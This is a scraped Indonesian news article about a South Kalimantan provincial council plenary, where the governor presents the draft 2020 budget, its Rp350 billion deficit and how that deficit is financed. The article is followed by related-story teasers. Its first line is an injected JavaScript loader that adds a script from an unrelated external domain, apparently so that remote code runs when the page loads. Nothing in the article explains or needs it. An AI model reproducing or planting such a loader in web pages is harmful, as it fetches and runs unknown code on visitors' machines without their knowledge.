(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Rapat paripurna dengan agenda pembahasan Perda Kalsel tahuan 2020 tentan pelaksanaan pembangunan RPJMD tahun 2016-2021 (tahun kelima), Senin (23/9) digelar di ruang rapat kantor DPRD Kalsel. Gubernur Kalsel Sahbirin Noor turut hadir dalam paripurna tersebut.
Sahbirin menyampaikan, saat ini terdapat selisih kurang sebesar Rp350 miliar dalam anggaran belanja daerah Provinsi Kalsel tahun anggaran 2020.  Adalpun rancangan Perda Provinsi Kalsel tentang APBD 2020 disusun berdasarkan prinsip anggaran surplus/defisit dengan komposisi pendapatan sebesar Rp6.996.340.856.000 dan belanja sebesar Rp 7.346.340.856.000
Disampaikan oleh Sahbirin, arah penggunaan belanja dalam rancangan Perda ini didasarkan pada peraturan daerah nomor : 03 tahun 2019 tentang perubahan Rencana Pembangunan Jangka Menengah Daerah (P-RPJMD) Kalsel tahun 2016-2021. Dimana didalamnya, terdapat 13 prioritas pembangunan tahun 2016-2021 yang diarahkan pada prioritas daerah dengan merujuk pada tema pembangunan RKPD tahun 2020 yaitu, memacu daya saing manusia perekonomian yang didukung sumber daya manusia berkualitas.
â€ÂAdapun selisih kurang anggaran 2020 ini akan ditutup oleh pembiayaan netto dari pembiayaan daerah,†kata Sahbirin.
Ia menambahkan, pembiayaan daerah pada rancangan perda tentang anggaran pendapatan dan belanja daerah tahun anggaran 2020 terdiri atas penerimaan pembiayaan yang dianggarkan sebesar Rp350 miliar yang terdiri dari silpa tahun anggaran sebelumnya sebesar Rp200 miliar dan pencairan dana cadangan sebesar Rp 150 miliar.
“Pada tahun anggaran 2020 pemprov Kalsel mengambil kebijakan untuk tidak menganggarkan pengeluaran pembiayaan,” ujar Gubernur Kalsel ini dalam rapat.
Dengan demikian, maka jumlah penerimaan pembiayaan sebesar Rp350 miliar dikurang dengan jumlah pengeluaran pembiayaan sebesar RP 0,00, sehingga terdapat netto sebesar Rp350 miliar. Dimana sisa pembayaran netto inilah yang kemudian digunakan untuk memenuhi defisit selisih kurang atas pendapatan.
Ditemui usai rapat, Sahbirin mengatakan bahwa yang ia sampaikan dalam rapat merupakan sebuah rancangan yang sudah dibicarakan, ditelaah, dan dipelajari. Serta tentu ia berharap agar hal ini dapat sesuai yang dibutuhkan masyarakat. “Tentu akan dipelajari anggota dewan, nanti kolaborasi, tapi saya harap tetap mengedepankan program yang bermanfaat buat rakyat. Tentu diselingi pelayanan yang prima,” pungkasnya kepada awak media.(mario)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.